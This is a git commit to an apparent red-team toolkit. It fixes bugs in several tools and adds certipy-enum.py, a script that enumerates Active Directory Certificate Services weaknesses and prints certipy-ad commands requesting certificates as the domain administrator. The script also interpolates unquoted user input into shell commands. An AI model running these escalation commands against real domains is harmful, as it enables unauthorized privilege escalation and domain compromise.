Fix 11 bugs found in full codebase review

- deploy_phishing.py: undefined extra_vars on orchestration playbook
- freebird/main_menu.py: set_variable() called as function, is a method; fix to config.prompt_set_variable()
- freebird/tool_manager.py: shell=True with f-string paths; replace with direct pip binary call
- certipy-enum.py: password exposed in process list and logs; pass via env var
- cleanup_engine.py: load_vars_file() called with path string, expects provider name
- ioc-u.py: scapy import not guarded; tool crashed if scapy missing
- um_ops.py + um-vault.py: SQL table names f-stringed directly; quote identifiers
- ops-logger.sh: 63-line duplicate function block; removed second copy; quote config_script var
- recon_tools.py: ir-sandbox + link-sandbox not in TOOLS dict; forensics menu option 5 hidden from user
- um-crack.py: missing --scope flag inconsistent with all other Umbra tools
- heartbeat_ingest.py: openssl subprocess not catching FileNotFoundError; wrap with clear error
This commit is contained in:
n0mad1k
2026-04-01 22:11:01 -04:00
parent c0765482d2
commit fe519c9fcf
12 changed files with 4034 additions and 84 deletions
+353
View File
@@ -0,0 +1,353 @@
#!/usr/bin/env python3
import subprocess
import re
import sys
import os
import glob
import json
# Ops hook (safe no-op if c2itall not available)
try:
sys.path.insert(0, os.path.expanduser("~/tools/c2itall"))
from utils.ops_hook import OpsHook as _OpsHook
except ImportError:
_OpsHook = None
def run_command(cmd):
"""Run a command and return its output"""
try:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60)
return result.stdout, result.stderr, result.returncode
except subprocess.TimeoutExpired:
return "", "Command timed out", 1
def read_latest_certipy_files():
"""Read the latest certipy output files"""
txt_files = glob.glob("*_Certipy.txt")
json_files = glob.glob("*_Certipy.json")
txt_content = ""
json_content = {}
if txt_files:
latest_txt = max(txt_files, key=os.path.getctime)
try:
with open(latest_txt, 'r', encoding='utf-8') as f:
txt_content = f.read()
except:
txt_content = ""
if json_files:
latest_json = max(json_files, key=os.path.getctime)
try:
with open(latest_json, 'r', encoding='utf-8') as f:
json_content = json.load(f)
except Exception as e:
print(f"[!] Error reading JSON: {e}")
# Try reading as text and debugging
try:
with open(latest_json, 'r', encoding='utf-8') as f:
raw_content = f.read()
pass # raw content available for debugging if needed
except:
pass
json_content = {}
return txt_content, json_content
def parse_cas_from_json(json_data):
"""Extract CAs from JSON data - looking for CA Name field"""
cas = []
try:
if "Certificate Authorities" in json_data:
ca_section = json_data["Certificate Authorities"]
if isinstance(ca_section, dict):
for key, ca_info in ca_section.items():
if isinstance(ca_info, dict) and "CA Name" in ca_info:
cas.append(ca_info["CA Name"])
except Exception as e:
print(f"[!] Error parsing CAs: {e}")
return cas
def parse_templates_from_json(json_data):
"""
Extract templates and identify vulnerabilities:
- ESC1: Enrollee Supplies Subject = True + Enabled + User can enroll
- ESC2/ESC3: Look in [*] Remarks section
- User Enrollable: Look for [+] User Enrollable Principals
"""
all_templates = []
vulnerable_templates = []
user_enrollable_templates = []
esc1_templates = []
try:
if "Certificate Templates" in json_data:
template_section = json_data["Certificate Templates"]
if isinstance(template_section, dict):
for template_key, template_info in template_section.items():
if isinstance(template_info, dict) and "Template Name" in template_info:
template_name = template_info["Template Name"]
all_templates.append(template_name)
# Check if enabled
is_enabled = template_info.get("Enabled", False)
# Check for ESC1: Enrollee Supplies Subject + enabled
enrollee_supplies = template_info.get("Enrollee Supplies Subject", False)
if enrollee_supplies and is_enabled:
esc1_templates.append(template_name)
vulnerable_templates.append(f"{template_name} (ESC1)")
# Check for vulnerabilities in [*] Remarks
if "[*] Remarks" in template_info:
remarks = template_info["[*] Remarks"]
if isinstance(remarks, dict):
for remark_key in remarks.keys():
if "ESC" in str(remark_key):
if template_name not in [v.split(' ')[0] for v in vulnerable_templates]:
vulnerable_templates.append(f"{template_name} ({remark_key.split()[0]})")
# Check for [+] User Enrollable Principals
if "[+] User Enrollable Principals" in template_info:
user_enrollable_templates.append(template_name)
except Exception as e:
print(f"[!] Error parsing templates: {e}")
return all_templates, vulnerable_templates, user_enrollable_templates, esc1_templates
def parse_targets_from_json(json_data):
"""Extract CA DNS names for targeting"""
targets = []
try:
if "Certificate Authorities" in json_data:
ca_section = json_data["Certificate Authorities"]
if isinstance(ca_section, dict):
for key, ca_info in ca_section.items():
if isinstance(ca_info, dict) and "DNS Name" in ca_info:
targets.append(ca_info["DNS Name"])
except Exception as e:
print(f"[!] Error parsing targets: {e}")
return targets
def parse_esc_vulnerabilities(json_data):
"""Extract ESC vulnerabilities from CA and template remarks"""
esc_vulns = []
try:
# CA level ESC (like ESC8)
if "Certificate Authorities" in json_data:
ca_section = json_data["Certificate Authorities"]
if isinstance(ca_section, dict):
for key, ca_info in ca_section.items():
if isinstance(ca_info, dict) and "[*] Remarks" in ca_info:
remarks = ca_info["[*] Remarks"]
if isinstance(remarks, dict):
for remark_key in remarks.keys():
if "ESC" in str(remark_key):
esc_vulns.append(remark_key)
# Template level ESC
if "Certificate Templates" in json_data:
template_section = json_data["Certificate Templates"]
if isinstance(template_section, dict):
for template_key, template_info in template_section.items():
if isinstance(template_info, dict) and "[*] Remarks" in template_info:
remarks = template_info["[*] Remarks"]
if isinstance(remarks, dict):
for remark_key in remarks.keys():
if "ESC" in str(remark_key):
esc_vulns.append(remark_key)
except Exception as e:
print(f"[!] Error parsing ESC vulnerabilities: {e}")
return list(set(esc_vulns))
def get_template_permissions(json_data, template_name):
"""Get who can enroll in this template"""
try:
if "Certificate Templates" in json_data:
template_section = json_data["Certificate Templates"]
if isinstance(template_section, dict):
for template_key, template_info in template_section.items():
if isinstance(template_info, dict) and template_info.get("Template Name") == template_name:
# Look for enrollment rights
permissions = template_info.get("Permissions", {})
if isinstance(permissions, dict):
enrollment_perms = permissions.get("Enrollment Permissions", {})
if isinstance(enrollment_perms, dict):
enrollment_rights = enrollment_perms.get("Enrollment Rights", [])
return enrollment_rights if isinstance(enrollment_rights, list) else []
except Exception as e:
print(f"[!] Error getting permissions for {template_name}: {e}")
return []
def get_enabled_templates(json_data):
"""Get list of enabled templates"""
enabled_templates = []
try:
if "Certificate Templates" in json_data:
template_section = json_data["Certificate Templates"]
if isinstance(template_section, dict):
for template_key, template_info in template_section.items():
if isinstance(template_info, dict):
template_name = template_info.get("Template Name", "")
is_enabled = template_info.get("Enabled", False)
if is_enabled and template_name:
enabled_templates.append(template_name)
except Exception as e:
print(f"[!] Error getting enabled templates: {e}")
return enabled_templates
def main():
# Ops hook
_hook = _OpsHook("certipy-enum") if _OpsHook else None
if _hook:
_hook.register()
print("=" * 60)
print("CERTIPY-AD CERTIFICATE ATTACK BUILDER v2.3")
print("=" * 60)
# Get user input
username = input("Enter username (user@domain.com): ")
password = input("Enter password: ")
dc_ip = input("Enter DC IP: ")
print("\n[*] Running certipy-ad enumeration...")
# Pass password via environment variable — keeps it out of process list and logs
os.environ['_CERTIPY_PASS'] = password
find_cmd = f"certipy-ad find -username {username} -password \"$_CERTIPY_PASS\" -dc-ip {dc_ip}"
vuln_cmd = f"certipy-ad find -username {username} -password \"$_CERTIPY_PASS\" -dc-ip {dc_ip} -vulnerable"
# Run basic enumeration
print("[*] Finding Certificate Authorities and basic info...")
stdout, stderr, returncode = run_command(find_cmd)
if returncode != 0:
os.environ.pop('_CERTIPY_PASS', None)
print(f"[!] Error running certipy-ad find: {stderr}")
return
# Run vulnerability scan
print("[*] Scanning for vulnerable templates...")
vuln_stdout, vuln_stderr, vuln_returncode = run_command(vuln_cmd)
os.environ.pop('_CERTIPY_PASS', None)
# Read the saved files
print("[*] Reading certipy output files...")
txt_content, json_content = read_latest_certipy_files()
if not json_content:
print("[!] No JSON data found. Check the certipy output files manually.")
return
# Parse results from JSON
cas = parse_cas_from_json(json_content)
all_templates, vulnerable_templates, user_enrollable_templates, esc1_templates = parse_templates_from_json(json_content)
targets = parse_targets_from_json(json_content)
esc_vulns = parse_esc_vulnerabilities(json_content)
enabled_templates = get_enabled_templates(json_content)
# Display results
print("\n" + "=" * 60)
print("ENUMERATION RESULTS")
print("=" * 60)
print(f"\n[+] CERTIFICATE AUTHORITIES ({len(cas)} found):")
for i, ca in enumerate(cas, 1):
print(f" {i}. {ca}")
print(f"\n[+] CA TARGETS/DNS NAMES ({len(targets)} found):")
for i, target in enumerate(targets, 1):
print(f" {i}. {target}")
print(f"\n[+] ESC VULNERABILITIES FOUND ({len(esc_vulns)} found):")
for esc in esc_vulns:
print(f" - {esc}")
print(f"\n[+] VULNERABLE TEMPLATES ({len(vulnerable_templates)} found):")
for i, template in enumerate(vulnerable_templates, 1):
print(f" {i}. {template}")
print(f"\n[+] USER ENROLLABLE TEMPLATES ({len(user_enrollable_templates)} found):")
for i, template in enumerate(user_enrollable_templates, 1):
permissions = get_template_permissions(json_content, template)
perms_str = ', '.join(permissions) if permissions else "Check manually"
print(f" {i}. {template} -> {perms_str}")
print(f"\n[+] ESC1 TEMPLATES (Enrollee Supplies Subject) ({len(esc1_templates)} found):")
for i, template in enumerate(esc1_templates, 1):
print(f" {i}. {template}")
print(f"\n[+] ENABLED TEMPLATES ({len(enabled_templates)} found):")
for i, template in enumerate(enabled_templates[:10], 1):
print(f" {i}. {template}")
if len(enabled_templates) > 10:
print(f" ... and {len(enabled_templates) - 10} more enabled templates")
# Build attack commands
if cas and targets:
domain = username.split('@')[1] if '@' in username else 'company.com'
print("\n" + "=" * 60)
print("RECOMMENDED ATTACK COMMANDS")
print("=" * 60)
ca_name = cas[0]
target_name = targets[0]
# Priority: ESC1 templates, then user enrollable, then common enabled ones
priority_templates = []
# Add ESC1 templates first (highest priority)
for template in esc1_templates:
if template not in priority_templates:
priority_templates.append(template)
# Add user enrollable templates
for template in user_enrollable_templates:
if template not in priority_templates:
priority_templates.append(template)
# Add common templates if they're enabled
common_templates = ["User", "Machine", "WebServer", "AutoenrolledUser"]
for template in common_templates:
if template in enabled_templates and template not in priority_templates:
priority_templates.append(template)
# Limit to top 5
priority_templates = priority_templates[:5]
if not priority_templates:
priority_templates = enabled_templates[:3]
print(f"\n[*] Using CA: {ca_name}")
print(f"[*] Using Target: {target_name}")
print(f"[*] Domain Controller: Use {dc_ip} for authentication after getting certificate")
for i, template in enumerate(priority_templates, 1):
permissions = get_template_permissions(json_content, template)
print(f"\n[{i}] Template: {template}")
if permissions:
print(f" Permissions: {', '.join(permissions)}")
else:
print(f" Permissions: Check manually")
cmd = f"certipy-ad req -username {username} -password '{password}' -ca '{ca_name}' -target {target_name} -template '{template}' -upn administrator@{domain}"
print(f" Command: {cmd}")
print(f"\n[*] Output files created:")
txt_files = glob.glob("*_Certipy.txt")
json_files = glob.glob("*_Certipy.json")
for f in sorted(txt_files[-2:] + json_files[-2:]):
print(f" - {f}")
else:
print("\n[!] Insufficient data found for building attack commands.")
print(" Try running the commands manually with known templates.")
if __name__ == "__main__":
main()
+53
View File
@@ -0,0 +1,53 @@
# core/main_menu.py
from InquirerPy import inquirer
from core.utils import clear_screen
from core.config import config
from framework.reconnaissance.reconnaissance_menu import reconnaissance_menu # Corrected path for Reconnaissance Menu
# Main Menu Function
def main_menu():
while True:
clear_screen() # Clear screen before displaying the main menu
selection = inquirer.select(
message="Select a Tactic:",
choices=[
"Reconnaissance",
"Initial Access",
"Execution",
"Persistence",
"Privilege Escalation",
"Defense Evasion",
"Credential Access",
"Discovery",
"Lateral Movement",
"Collection",
"Command and Control",
"Exfiltration",
"Impact",
"Resource Development",
"Set Global Variable",
"Show Global Variables",
"Exit",
],
qmark="", # Remove question mark
pointer="👾" # Customize the pointer
).execute()
# Call relevant function based on user selection
if selection == "Exit":
print("Exiting...")
break
elif selection == "Set Global Variable":
config.prompt_set_variable()
elif selection == "Show Global Variables":
config.show_variables()
elif selection == "Reconnaissance":
reconnaissance_menu() # Navigate to Reconnaissance Menu
else:
# Handle options under construction
print("This feature is under construction. Returning to the main menu...")
input("Press Enter to continue...")
if __name__ == "__main__":
main_menu()
+121
View File
@@ -0,0 +1,121 @@
import os
import subprocess
import argparse
TOOLS_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), '../tools/') # Directory where all tools will be installed
def install_tool(tool_name, repo_url):
tool_path = os.path.join(TOOLS_DIR, tool_name)
if os.path.exists(tool_path):
print(f"{tool_name} is already installed.")
return
# Clone the repository
print(f"Cloning {repo_url}...")
subprocess.run(['git', 'clone', repo_url, tool_path], check=True)
# Set up a virtual environment if necessary
venv_path = os.path.join(tool_path, 'venv')
print(f"Setting up virtual environment for {tool_name}...")
subprocess.run(['python3', '-m', 'venv', venv_path], check=True)
# Activate virtual environment and install dependencies
requirements_file = os.path.join(tool_path, 'requirements.txt')
if os.path.exists(requirements_file):
print(f"Installing dependencies for {tool_name}...")
pip_bin = os.path.join(venv_path, 'bin', 'pip')
subprocess.run([pip_bin, 'install', '-r', requirements_file], check=True)
print(f"{tool_name} installed successfully.")
def install_tools_list(tools_list):
for tool_name, repo_url in tools_list:
install_tool(tool_name, repo_url)
def update_tool(tool_name):
tool_path = os.path.join(TOOLS_DIR, tool_name)
if not os.path.exists(tool_path):
print(f"{tool_name} is not installed.")
return
# Pull the latest changes
print(f"Updating {tool_name}...")
subprocess.run(['git', '-C', tool_path, 'pull'], check=True)
# Update dependencies if necessary
venv_path = os.path.join(tool_path, 'venv')
requirements_file = os.path.join(tool_path, 'requirements.txt')
if os.path.exists(requirements_file):
print(f"Updating dependencies for {tool_name}...")
pip_bin = os.path.join(venv_path, 'bin', 'pip')
subprocess.run([pip_bin, 'install', '-r', requirements_file], check=True)
print(f"{tool_name} updated successfully.")
def remove_tool(tool_name):
tool_path = os.path.join(TOOLS_DIR, tool_name)
if not os.path.exists(tool_path):
print(f"{tool_name} is not installed.")
return
# Remove the tool directory
print(f"Removing {tool_name}...")
subprocess.run(['rm', '-rf', tool_path], check=True)
print(f"{tool_name} removed successfully.")
def show_status(tool_name):
tool_path = os.path.join(TOOLS_DIR, tool_name)
if os.path.exists(tool_path):
print(f"{tool_name} is installed.")
else:
print(f"{tool_name} is not installed.")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Tool Manager for Freebird Framework')
subparsers = parser.add_subparsers(dest='command', help='Subcommands')
# Install command
install_parser = subparsers.add_parser('install', help='Install a tool')
install_parser.add_argument('tool_name', help='Name of the tool to install')
install_parser.add_argument('repo_url', help='Git repository URL of the tool')
# Install multiple tools
install_list_parser = subparsers.add_parser('install-list', help='Install a list of tools')
install_list_parser.add_argument('file', help='Path to a file containing the list of tools and their repositories')
# Update command
update_parser = subparsers.add_parser('update', help='Update a tool')
update_parser.add_argument('tool_name', help='Name of the tool to update')
# Remove command
remove_parser = subparsers.add_parser('remove', help='Remove a tool')
remove_parser.add_argument('tool_name', help='Name of the tool to remove')
# Status command
status_parser = subparsers.add_parser('status', help='Show the status of a tool')
status_parser.add_argument('tool_name', help='Name of the tool')
args = parser.parse_args()
if args.command == 'install':
install_tool(args.tool_name, args.repo_url)
elif args.command == 'install-list':
# Read the file to get a list of tools to install
tools = []
with open(args.file, 'r') as f:
for line in f:
name, url = line.strip().split(',')
tools.append((name.strip(), url.strip()))
install_tools_list(tools)
elif args.command == 'update':
update_tool(args.tool_name)
elif args.command == 'remove':
remove_tool(args.tool_name)
elif args.command == 'status':
show_status(args.tool_name)
else:
parser.print_help()
+16 -3
View File
@@ -27,7 +27,12 @@ import hashlib
import struct
import base64
from datetime import datetime, timedelta
from scapy.all import sniff, IP, TCP, UDP, Raw, get_if_list, DNS, DNSQR, DNSRR
try:
from scapy.all import sniff, IP, TCP, UDP, Raw, get_if_list, DNS, DNSQR, DNSRR
SCAPY_AVAILABLE = True
except ImportError:
SCAPY_AVAILABLE = False
print("⚠️ Warning: scapy not available. Install with: pip install scapy")
from collections import defaultdict, deque, Counter
from typing import Dict, List, Tuple, Optional, Set, Any
@@ -1373,7 +1378,11 @@ class EnhancedBlueTeamDetector:
"""Select network interface"""
if self.config["interface"] != "auto":
return self.config["interface"]
if not SCAPY_AVAILABLE:
logging.error("scapy not installed — cannot list interfaces")
return "eth0"
interfaces = get_if_list()
preferred = ['eth0', 'ens33', 'ens192', 'ens160', 'enp0s3', 'wlan0']
@@ -1469,10 +1478,14 @@ class EnhancedBlueTeamDetector:
def run(self):
"""Main detection loop"""
if not SCAPY_AVAILABLE:
print("❌ scapy is required for packet capture. Install with: pip install scapy")
return
# Signal handlers
signal.signal(signal.SIGTERM, self.cleanup)
signal.signal(signal.SIGINT, self.cleanup)
# Get interface
interface = self.get_network_interface()
+1 -64
View File
@@ -926,69 +926,6 @@ clear_window_indicators() {
fi
}
# ================================================================
# OHMYTMUX-COMPATIBLE WINDOW NAME MANAGEMENT
# ================================================================
# Improved window name handling that works with ohmytmux
get_current_window_name() {
local tmux_pane_ref="$1"
local name=$(tmux display -t "$tmux_pane_ref" -p '#{window_name}')
# Remove our indicators as well as any ohmytmux status indicators
name="${name#🔴 }"
name="${name#🎥 }"
name="${name#● }"
name="${name#⚠ }"
name="${name#▶ }"
echo "$name"
}
set_window_logging_indicator() {
local tmux_pane_ref="$1"
local current_name=$(get_current_window_name "$tmux_pane_ref")
# Preserve ohmytmux automatic formats but add our indicator
if [[ "$current_name" == *Z ]]; then
# Zoomed window format in ohmytmux
tmux rename-window -t "$tmux_pane_ref" "🔴 ${current_name%Z}Z"
else
tmux rename-window -t "$tmux_pane_ref" "🔴 $current_name"
fi
}
set_window_recording_indicator() {
local tmux_pane_ref="$1"
local current_name=$(get_current_window_name "$tmux_pane_ref")
# Remove logging indicator if present and add recording
current_name="${current_name#🔴 }"
# Preserve ohmytmux automatic formats
if [[ "$current_name" == *Z ]]; then
# Zoomed window format in ohmytmux
tmux rename-window -t "$tmux_pane_ref" "🎥 ${current_name%Z}Z"
else
tmux rename-window -t "$tmux_pane_ref" "🎥 $current_name"
fi
}
clear_window_indicators() {
local tmux_pane_ref="$1"
local current_name=$(tmux display -t "$tmux_pane_ref" -p '#{window_name}')
local clean_name=$(get_current_window_name "$tmux_pane_ref")
# Preserve any ohmytmux indicators that might be present
if [[ "$current_name" == *Z ]]; then
# Zoomed window format in ohmytmux
tmux rename-window -t "$tmux_pane_ref" "${clean_name}Z"
else
tmux rename-window -t "$tmux_pane_ref" "$clean_name"
fi
}
# ================================================================
# MAIN LOGGING FUNCTIONS
# ================================================================
@@ -1279,7 +1216,7 @@ EOSCRIPT
chmod +x "$config_script"
# Open new window for config
bash $config_script; rm -f $config_script
bash "$config_script"; rm -f "$config_script"
return 0
fi